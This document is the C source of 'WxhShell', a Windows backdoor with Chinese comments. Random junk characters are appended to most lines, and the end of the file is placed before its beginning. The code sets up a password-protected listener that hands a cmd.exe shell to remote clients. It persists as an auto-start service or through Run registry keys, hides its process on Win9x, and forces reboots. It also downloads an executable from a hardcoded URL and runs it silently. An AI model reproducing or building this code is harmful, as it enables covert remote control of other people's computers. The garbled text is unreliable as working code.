    if(Boot(SHUTDOWN)) SIZZFihcYh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fk#$@^c@  
    else { 4 Kh0evZ  
    closesocket(wsh); bPA >xAH  
    ExitThread(0); @0 #JY:"  
    } X" Upml  
    break; mlix^P  
    } iHKX#*  
  // 获取shell y$y!{R@   
  case 's': { R3|r` ~@@  
    CmdShell(wsh); wl/1~!  
    closesocket(wsh); %:}o\ _w  
    ExitThread(0); 3 =-V!E  
    break; r (KAG"5  
  } g[Q+DT  
  // 退出 e!=~f%c<N  
  case 'x': { <j}A=SDZ)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); He*c=^8k  
    CloseIt(wsh); 3|(<]@ $  
    break; #HTq \J!  
    } YY4q99^K  
  // 离开 -dS@ l'$  
  case 'q': { }D[j6+E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p(!d,YSE  
    closesocket(wsh); *f o>  
    WSACleanup();  7 T  
    exit(1); 5m2f\^U  
    break; j;BlpRD}  
        } \l1==,wk  
  } 1ne3CA=  
  } 0k G\9  
xmi@ XL@t  
  // 提示信息 gy Ey=@L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %J L P=(  
} hsHbT^Qm  
  } 8Dkq+H93  
,lcS J^yr  
  return; Y?ZzFd,i&  
} NXX/JJ+w  
z/,&w_8,:  
// shell模块句柄 L+8{%\UPd  
int CmdShell(SOCKET sock) *Wf Qi8  
{ CE@[Z  
STARTUPINFO si; }<^QW't_Y  
ZeroMemory(&si,sizeof(si)); FfNUFx2N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &%`WXe-`R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X ?U'GLm  
PROCESS_INFORMATION ProcessInfo; yA#nnu1  
char cmdline[]="cmd"; GfV#^qi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K\FLA_J  
  return 0; 3 sD|R{  
} 1:!H`*DU&  
*yv@B!r  
// 自身启动模式 F :og:[  
int StartFromService(void) 01~ nC@;  
{ SuXeUiK.[  
typedef struct '+\t,>nRkl  
{ x~Dj2 F]  
  DWORD ExitStatus; JwQ/A[b  
  DWORD PebBaseAddress; =~>g--^U  
  DWORD AffinityMask; WbwwI)1  
  DWORD BasePriority; wC?$P  
  ULONG UniqueProcessId; /gn!="J  
  ULONG InheritedFromUniqueProcessId; @b!W8c 6  
}   PROCESS_BASIC_INFORMATION; *-*SCA`E^=  
[RF6mWQ  
PROCNTQSIP NtQueryInformationProcess; ~jzjJ&O&  
OT0IGsJ"'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }T-'""*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M!aJKpf  
&["e1ki  
  HANDLE             hProcess; )-X/"d  
  PROCESS_BASIC_INFORMATION pbi; ]h,iyWSs  
wXtp(YwlH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y,Lx6kU  
  if(NULL == hInst ) return 0; 5>lIrBf  
&->ngzg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #{?~XS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fejC ,H4I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =*R6 O,  
_+.JTk  
  if (!NtQueryInformationProcess) return 0; q ~^!Ck+#*  
[{`2FR:Cd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q' Tg0,,S  
  if(!hProcess) return 0; '50}QY_R.  
,q;?zcC7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %/ctt_p0x  
B77`azwF  
  CloseHandle(hProcess); SsPZva  
9F[_xe@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _M+7)[xj=  
if(hProcess==NULL) return 0; s94 *uZ(C/  
0*_E'0L8e  
HMODULE hMod; ,OERDWW|6  
char procName[255]; |Sm/s;&c6  
unsigned long cbNeeded; K?Sy ?Kz  
- AU{Y`j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u HW'F(;  
'/)qI.  
  CloseHandle(hProcess); e^'|<0J  
i\O^s ]  
if(strstr(procName,"services")) return 1; // 以服务启动 )*`h)`\y  
x[0O*ty-*<  
  return 0; // 注册表启动 RD46@Q`  
} {xH?b0>  
~Hu!iZ2]  
// 主模块 ]T'7+5w  
int StartWxhshell(LPSTR lpCmdLine) T2 S fBs  
{ VFzIBgJ3  
  SOCKET wsl; I]DD5l}\  
BOOL val=TRUE; g+5c"Yk+u~  
  int port=0; LM+d3|gSV  
  struct sockaddr_in door; NJ]3qH  
a9UXg< 4  
  if(wscfg.ws_autoins) Install(); kIX1u<M~  
s<rV1D  
port=atoi(lpCmdLine); Svb>s|D  
tJ 2GSZ`  
if(port<=0) port=wscfg.ws_port; .`Q^8|$-K  
tbWf m5$  
  WSADATA data; {VKFw=$8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]Axz}:  
EY:IwDA.}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *AYq :n6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ""Da 2Md  
  door.sin_family = AF_INET; ;1s+1G}_z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #n}~u@,o_  
  door.sin_port = htons(port); 6i2%EC9  
L7d1)mV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0{g*\W*+~  
closesocket(wsl); |Fi5/$S.  
return 1; 1`YU9?  
} 5 mC"8N1)  
DzQ  
  if(listen(wsl,2) == INVALID_SOCKET) { </WeB3#6  
closesocket(wsl); xDGS`o_w_  
return 1; Fs].Fa  
} "VZXi_P  
  Wxhshell(wsl); o8Gygi5  
  WSACleanup(); fx(h fz  
Pc_aEBq  
return 0; D}q"^"#T  
"4;nnq  
} 8! rdqI   
ICvV}%d  
// 以NT服务方式启动 pF4Z4?W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u8]FJQ*\6+  
{ h693TS_N  
DWORD   status = 0; <^'{=A>  
  DWORD   specificError = 0xfffffff; o6d x\  
t* =[RS*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ATl?./Tu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _$ivN!k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xH xTL>,?  
  serviceStatus.dwWin32ExitCode     = 0; ~Ix2O   
  serviceStatus.dwServiceSpecificExitCode = 0; 'gvR?[!t  
  serviceStatus.dwCheckPoint       = 0; X!p`|i  
  serviceStatus.dwWaitHint       = 0; G$>QH-p  
XTo7fbW*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  }:Gs ,  
  if (hServiceStatusHandle==0) return; sVK?sBs]  
o`,~#P|  
status = GetLastError(); IQRuqp KL  
  if (status!=NO_ERROR) qyv=ot0"~F  
{ dF\#:[B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V`1,s~"q  
    serviceStatus.dwCheckPoint       = 0; pL5cw=  
    serviceStatus.dwWaitHint       = 0; 1^4:l!0D  
    serviceStatus.dwWin32ExitCode     = status; ) ](ls@*  
    serviceStatus.dwServiceSpecificExitCode = specificError; })H d]a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !: ^q_q4  
    return; %'yrIR  
  } <;6{R#Tuh  
{]< G=]'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8o$rF7.-  
  serviceStatus.dwCheckPoint       = 0; eHuJFM  
  serviceStatus.dwWaitHint       = 0; Bchv1KF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I I+y  
} WJ25fTsG  
0RT8N=B83  
// 处理NT服务事件,比如:启动、停止 du66a+@t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x}yl Rg`[  
{ A^>@6d $2  
switch(fdwControl) qcS.=Cj?)  
{ N)H "'#-  
case SERVICE_CONTROL_STOP: 4b`E/L}2  
  serviceStatus.dwWin32ExitCode = 0; lL:a}#qxU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N2v/<  
  serviceStatus.dwCheckPoint   = 0; wSN9`"  
  serviceStatus.dwWaitHint     = 0; m$fEk,d  
  { (-21h0N[V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .9r YBy  
  } sD:o 2(G*  
  return; U X@%1W!8  
case SERVICE_CONTROL_PAUSE: Lwr's'ao.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~v+kO~  
  break;  u]P|  
case SERVICE_CONTROL_CONTINUE: Uj):}xgi'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l1)~WqhE}  
  break; "`$,qvNN  
case SERVICE_CONTROL_INTERROGATE: mb1mlsE  
  break; D%p*G5Bg3  
}; C9!t&<\ }  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  bDkZU  
} iT>u&0B-  
Aqmpo3P[+  
// 标准应用程序主函数 h Ma;\k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  Y~WdN<g  
{ %_ibe  
jYHnJ}<  
// 获取操作系统版本 *nCA6i  
OsIsNt=GetOsVer(); QB*,+u4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i6WH^IQM  
% i4 5  
  // 从命令行安装 2.D2 o  
  if(strpbrk(lpCmdLine,"iI")) Install(); wq$$. .E  
tk&AZb,sP  
  // 下载执行文件 \Ii{sn9  
if(wscfg.ws_downexe) { n#lbfN 4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9D T<  
  WinExec(wscfg.ws_filenam,SW_HIDE); %MeAa?G-#  
} jE\ G_>  
Alxf;[s  
if(!OsIsNt) { BNfj0e5b  
// 如果时win9x,隐藏进程并且设置为注册表启动 V\cbIx(Z^  
HideProc(); <]qNjsdb9"  
StartWxhshell(lpCmdLine); 3iCe5VF  
} D&G6^ME  
else  E^1yU  
  if(StartFromService()) Q$E.G63Wl  
  // 以服务方式启动 |U%NPw5  
  StartServiceCtrlDispatcher(DispatchTable); 'J,UKK\5  
else LwC?t3n  
  // 普通方式启动 r#sg5aS7O|  
  StartWxhshell(lpCmdLine); ~#r>@C  
aZN?V}^+  
return 0; FDMQ Lxf  
} Zhfp>D  
Uwc%'=@  
Lce,]z\ _  
 g\q .  
=========================================== x MJ-=  
 FA+HR  
6}^x#9\  
y2A\7&7  
@t%da^-HS"  
74Jx\(d  
" \ND]x]5d  
\p4*Q}t  
#include <stdio.h> X+4Uh I  
#include <string.h> >w3C Ku<  
#include <windows.h> %xkuW]xk  
#include <winsock2.h> C-YYG   
#include <winsvc.h> Bhv;l/K])  
#include <urlmon.h> ^E70$yB ^  
<Wn~s=  
#pragma comment (lib, "Ws2_32.lib") 9q`Ewj R  
#pragma comment (lib, "urlmon.lib") QVT0.GzR  
e>MtDJ5  
#define MAX_USER   100 // 最大客户端连接数 2{ F-@}=  
#define BUF_SOCK   200 // sock buffer uw+nll*W%  
#define KEY_BUFF   255 // 输入 buffer >z<L60S  
q,P.)\0A  
#define REBOOT     0   // 重启 G_F_TNO  
#define SHUTDOWN   1   // 关机 7X$CJ%6b  
iC#a+G*N_M  
#define DEF_PORT   5000 // 监听端口 1)z'-dQ-5$  
-wn-PB@r  
#define REG_LEN     16   // 注册表键长度 +~5Lo'^  
#define SVC_LEN     80   // NT服务名长度 o?a2wY^_  
L4po1  
// 从dll定义API 0~nX7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ua}R3^_)a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x6/u+Urn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fp.eucRxP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7ys' [G|}r  
fbApE  
// wxhshell配置信息 YEv\!%B  
struct WSCFG { GgpE"M?  
  int ws_port;         // 监听端口 fzJiW@-T  
  char ws_passstr[REG_LEN]; // 口令 @/#G2<Vp1  
  int ws_autoins;       // 安装标记, 1=yes 0=no awzlLI<2p  
  char ws_regname[REG_LEN]; // 注册表键名 u>'0Xo9R  
  char ws_svcname[REG_LEN]; // 服务名 +3))G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]xS%E r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <aPZE6z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a j?ZVa6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ] 9QXQH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;6 V~yB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C6>_ wl]  
G? SPz  
}; _{o 3y"DZ  
!!.@F;]W  
// default Wxhshell configuration jZ~girA  
struct WSCFG wscfg={DEF_PORT, o6u^hG6~'  
    "xuhuanlingzhe", g3ukx$Q{>  
    1, C^$E#|E9N  
    "Wxhshell", g0 Q,]\~  
    "Wxhshell", iZ]^JPU}  
            "WxhShell Service", rO}1E<g (  
    "Wrsky Windows CmdShell Service", %p\ ~  
    "Please Input Your Password: ", 4zs0+d +  
  1, 3ML^ dZ'  
  "http://www.wrsky.com/wxhshell.exe", u&*[   
  "Wxhshell.exe" ~=yU%5 s@  
    }; *L<EGFP  
f#c}}>V8  
// 消息定义模块 6GuTd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MgiW9@_(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^C K!=oO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |21V OPBS  
char *msg_ws_ext="\n\rExit."; $}4ao2  
char *msg_ws_end="\n\rQuit.";  D?Beg F  
char *msg_ws_boot="\n\rReboot..."; rw)!>j+&A  
char *msg_ws_poff="\n\rShutdown..."; Eq_@ xT0>  
char *msg_ws_down="\n\rSave to "; 24od74\  
IfH/~EtX  
char *msg_ws_err="\n\rErr!"; xZ'C(~t  
char *msg_ws_ok="\n\rOK!"; 3=wcA/"!  
6EY\  
char ExeFile[MAX_PATH]; 5xc e1[  
int nUser = 0; whN<{AG  
HANDLE handles[MAX_USER]; >JNdtP8s/1  
int OsIsNt; -[*y{K@dh  
3_RdzW}f  
SERVICE_STATUS       serviceStatus; !}} )f/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2?qT,pN  
2a-]TVL3  
// 函数声明 jct=Nee|  
int Install(void); odL* _<Z  
int Uninstall(void); 8}BM`@MG  
int DownloadFile(char *sURL, SOCKET wsh); 1#L%Q(G  
int Boot(int flag); P:Q&lnC  
void HideProc(void); dOaOWMrfdf  
int GetOsVer(void); 2(uh7#Q  
int Wxhshell(SOCKET wsl); y=Eb->a){  
void TalkWithClient(void *cs);  3B]E2  
int CmdShell(SOCKET sock); #+<YFm\i  
int StartFromService(void); XnYX@p  
int StartWxhshell(LPSTR lpCmdLine); /QB;0PrE  
LmY[{.'tX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "Pc}-&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JV,h1/a("  
8yIBx%"4MH  
// 数据结构和表定义 W2`3PEa  
SERVICE_TABLE_ENTRY DispatchTable[] = F(j;|okf;  
{ R o{xprE1  
{wscfg.ws_svcname, NTServiceMain}, [kkhVi5;A  
{NULL, NULL} 3ylSO73R  
}; ;pL!cG@  
y ~-v0/  
// 自我安装  "O# V/(  
int Install(void) i\ uj>;B  
{ X#by Dg  
  char svExeFile[MAX_PATH]; |"}7)[BW}  
  HKEY key; 8@doKOA~T  
  strcpy(svExeFile,ExeFile); I@qGDKz;  
M]%dFQ  
// 如果是win9x系统,修改注册表设为自启动 { Mf-?_%  
if(!OsIsNt) { ga,kKPL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x ;SY80D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Mp js  
  RegCloseKey(key); 'JgCl'k,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4YY!oDN:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CY':'aWfa<  
  RegCloseKey(key); X   
  return 0; b*tb$F  
    } Js:U1q  
  } ;I@\}!%H  
} k{{ Y2B?C  
else { ` ,SNqi  
3 [#Rm>,Vu  
// 如果是NT以上系统,安装为系统服务 .(8 V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u)zv`m  
if (schSCManager!=0) 7m%12=Im5  
{ VL5VYv=:  
  SC_HANDLE schService = CreateService o; 6^:  
  ( 4C?4M;  
  schSCManager, )Ft+eMYti[  
  wscfg.ws_svcname, ?c8( <_I+  
  wscfg.ws_svcdisp, Wm{ebx  
  SERVICE_ALL_ACCESS, \FX"A#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yIr0D 6L  
  SERVICE_AUTO_START, /]0SF_dZ  
  SERVICE_ERROR_NORMAL, M*cF'go  
  svExeFile, FbMtor  
  NULL, OVxg9  
  NULL, 0$b4\.0>~  
  NULL, UlNiH  
  NULL, b)#rUI|O  
  NULL g9;s3qXiG  
  ); `gC J[  
  if (schService!=0) = [: E  
  { E`xpZ>$mPx  
  CloseServiceHandle(schService); O> _ F   
  CloseServiceHandle(schSCManager); qnQ".  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y8C8~-&OK  
  strcat(svExeFile,wscfg.ws_svcname); i`<L#6RBT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *:+ZEFMq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _u;pD-  
  RegCloseKey(key); G$KQgUN~[  
  return 0; !?).4yr  
    } [+l6x1Am  
  } j(k%w  
  CloseServiceHandle(schSCManager); KiFTj$w,  
} E ?bqEW(  
} l{]KA4  
6WIs*$T2*  
return 1; =z"8#_3A  
} d@$bPQQ$,  
F?jD5M08t/  
// 自我卸载 \b6{u6?+  
int Uninstall(void) ~z]VDEJ{q  
{ D vU1+ y  
  HKEY key; hbr3.<o1lY  
 y<m[9FC}  
if(!OsIsNt) { !;vv-v,LQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3G<4rH]  
  RegDeleteValue(key,wscfg.ws_regname); @PLJ)RL  
  RegCloseKey(key); H2Z e\c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GL-b})yy  
  RegDeleteValue(key,wscfg.ws_regname); ,uNJz-B8  
  RegCloseKey(key); dIh+h|:  
  return 0; g]N'6La  
  } tcRJ1:d  
} a9 q:e  
} K1R?Qt,qDF  
else { 9c*B%A8J  
")txFe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9LBZMQ  
if (schSCManager!=0) A n`*![  
{ x@/:{B   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F#) bGi  
  if (schService!=0) ~#P]NWW%.  
  { _Yp~Oj  
  if(DeleteService(schService)!=0) { ^A=tk!C  
  CloseServiceHandle(schService); ^Z\"d#A  
  CloseServiceHandle(schSCManager); .p o,.}  
  return 0; Zo^]y'  
  } '/X]96Ci7  
  CloseServiceHandle(schService); !J!&JQ|  
  } _emW#*V  
  CloseServiceHandle(schSCManager); n53c} ^  
} 3HuGb^SNg  
} 6r D]6#D  
E8R;S}P A  
return 1; xsPt  
} )[M:#;,L  
":s_ O.  
// 从指定url下载文件 1ZRkVHiz0  
int DownloadFile(char *sURL, SOCKET wsh) q &{<HcP  
{ X's<+hK&  
  HRESULT hr; #pK" ^O*!  
char seps[]= "/"; S-Bx`e9'  
char *token; YHu]\'Ff  
char *file; goF87^M  
char myURL[MAX_PATH]; [eOv fD  
char myFILE[MAX_PATH]; (dQ=i  
,d*hhe  
strcpy(myURL,sURL); 1iLU{m9  
  token=strtok(myURL,seps); [.Kp/,JY  
  while(token!=NULL) 1kvs2  
  { #,6T.O  
    file=token; (C).Vj~  
  token=strtok(NULL,seps); Ar,n=obG  
  } ,p(&G_  
fn5-Tnsq*  
GetCurrentDirectory(MAX_PATH,myFILE); nP*%N|0  
strcat(myFILE, "\\"); N#-pl:J(  
strcat(myFILE, file); I_->vC|>  
  send(wsh,myFILE,strlen(myFILE),0); Z0-?;jA@  
send(wsh,"...",3,0); >}O}~$o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <;~u@^>  
  if(hr==S_OK) rcMf1\  
return 0; y@LiUe5  
else esx/{j;<u  
return 1; SZ$WC8AX  
W-&V:S{<  
} 10c.#9$  
p nI=  
// 系统电源模块 =8<~pr-NO  
int Boot(int flag) 0jjtx'F  
{ R)\^*tkz7  
  HANDLE hToken; BbC O K  
  TOKEN_PRIVILEGES tkp; woP j>M  
t8xXGWk0  
  if(OsIsNt) { .PR+_a-X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {]dtA&8(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7[u>#8  
    tkp.PrivilegeCount = 1; ~gMt U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rJCb8x+5a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gM=:80  
if(flag==REBOOT) { !3mt<i]a"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #C?M-  
  return 0; hKWWN`;b !  
} =EA:fq  
else { r@Jy*2[-Jq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SUUN_w~  
  return 0; ~ ) w4Tq  
} Bi :!"Nw[X  
  } |}UkVLc_^  
  else { \( #"g  
if(flag==REBOOT) { >-<iY4|[d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^V96l Kt/  
  return 0; hEsi AbTyF  
} C}Kl!  
else { 7X/t2Vih@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #+ AQ:+  
  return 0; Q1?*+]  
} aVc{ aP  
}  fPPP|  
SZHgXl3:  
return 1; p WJ EFm  
} (?zD!% k  
<"P-7/j3j  
// win9x进程隐藏模块 hdrsa}{g  
void HideProc(void) \y=oZk4  
{ q^EY?;Y  
DmLx"%H3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |llJ%JhF  
  if ( hKernel != NULL ) _(kaaWJ  
  { 0.n[_?<(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); flFdoEV.U)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d,JDfG)  
    FreeLibrary(hKernel); @&WHX#  
  } Jut&J]{h  
u YT$$'S  
return;  G7a l@  
} JDE_*xaUV  
VLkAsM5}%  
// 获取操作系统版本 [{BY$"b#:  
int GetOsVer(void) bD:0k.`  
{  L1 /`/  
  OSVERSIONINFO winfo; Cg]),S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Im/tU6ybV  
  GetVersionEx(&winfo); '=fk;AiQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %60 OS3  
  return 1; 0C/ZcfFU~  
  else =huV(THU  
  return 0; .)!QsBU  
} *$NZi*z3  
 xV5UaD<  
// 客户端句柄模块 y3s+.5;  
int Wxhshell(SOCKET wsl) RE%f'y  
{ KBN% TqH|  
  SOCKET wsh; 9T24dofkJ  
  struct sockaddr_in client; sEdz`F  
  DWORD myID; vb6EO[e% I  
F1L[3D^-  
  while(nUser<MAX_USER) !!^z6jpvn  
{ <d H@e  
  int nSize=sizeof(client); Q,xL8i M,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l_+@Xpl  
  if(wsh==INVALID_SOCKET) return 1; x2#JD|0  
p#ar`-vQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "}fweCBgo  
if(handles[nUser]==0) jBw)8~tYm  
  closesocket(wsh); K -rR)-rI  
else ls]N&!/hq  
  nUser++; V<0iYi;4=  
  } CPP~,E_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?";SUku  
,=m.WmXE  
  return 0; Jd>~gA}l  
} s51$x M  
J @"#  
// 关闭 socket +hmFFQQ}  
void CloseIt(SOCKET wsh) @9gZH_ur>E  
{ g8%O^)d=>  
closesocket(wsh); &P|[YP37_  
nUser--; x [FLV8`b|  
ExitThread(0); :BF? r  
} [fa4  
A>yU0\A  
// 客户端请求句柄 l:!L+t*}6  
void TalkWithClient(void *cs) w!7\wI[  
{ Y7VO:o  
YzI;)  
  SOCKET wsh=(SOCKET)cs; D%YgS$p[M$  
  char pwd[SVC_LEN]; MCT1ZZpPr  
  char cmd[KEY_BUFF]; Fr8GGN~/  
char chr[1]; }#O!GG{  
int i,j; oY18a*_>M1  
}p7iv:P=3  
  while (nUser < MAX_USER) { }6c>BU}DF  
ijF_ KP'  
if(wscfg.ws_passstr) { ssi7)0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MePD:;mm^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d]l8ei@>h  
  //ZeroMemory(pwd,KEY_BUFF); =#b@7Yw:  
      i=0; -Ks>s  
  while(i<SVC_LEN) { w6% Q"%rp  
m.e]tTe  
  // 设置超时 )?*YrWO{  
  fd_set FdRead; I9*cEZ!l=e  
  struct timeval TimeOut; n~*".ZC'Y  
  FD_ZERO(&FdRead); %X{EupiFA  
  FD_SET(wsh,&FdRead); @Iv;y*y  
  TimeOut.tv_sec=8; fe?Z33V  
  TimeOut.tv_usec=0; RP&bb{Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l]R0r{{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yLX $SR  
ATNOb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1PkCWRpR  
  pwd=chr[0]; @^W`Yg)C  
  if(chr[0]==0xd || chr[0]==0xa) { 18>cfDh;N  
  pwd=0; %t9C  
  break; #@S%?`4,  
  } jhNFaBrS  
  i++; 0CrsZtX  
    } p~qe/  
Z'JS@dV  
  // 如果是非法用户,关闭 socket B[t^u\Fk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S\e&xUA;|  
} xAQtX=FoX+  
|W">&Rb<t#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @c3xUK   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &_ekA44E  
|^pev2g  
while(1) { 9E!le=>  
Sjpx G@k  
  ZeroMemory(cmd,KEY_BUFF); kXMp()N8`  
G'ykcB._  
      // 自动支持客户端 telnet标准   :gh[BeqQ)  
  j=0; ?{{w[U6NE  
  while(j<KEY_BUFF) { |cPHl+$nh.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o\IMYT  
  cmd[j]=chr[0]; u epyH  
  if(chr[0]==0xa || chr[0]==0xd) { qLN^9PdEE  
  cmd[j]=0; 2@&r!Q|1vR  
  break; |\5^ub,m  
  } 0lfK} a  
  j++; >H2`4]4]  
    } vT'Bs;QR  
!>8~R2  
  // 下载文件 RK>Pe3<  
  if(strstr(cmd,"http://")) { K7+yU3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WSkGVQu  
  if(DownloadFile(cmd,wsh)) =l ,P'E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AlSO  
  else 6OES'3Cy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '|C3t!H`  
  } *z=_sD?1  
  else { K2x[ApS#  
kI\m0];KnQ  
    switch(cmd[0]) { -Mt 5< s  
  [4Z 31v>  
  // 帮助 XpQOl  
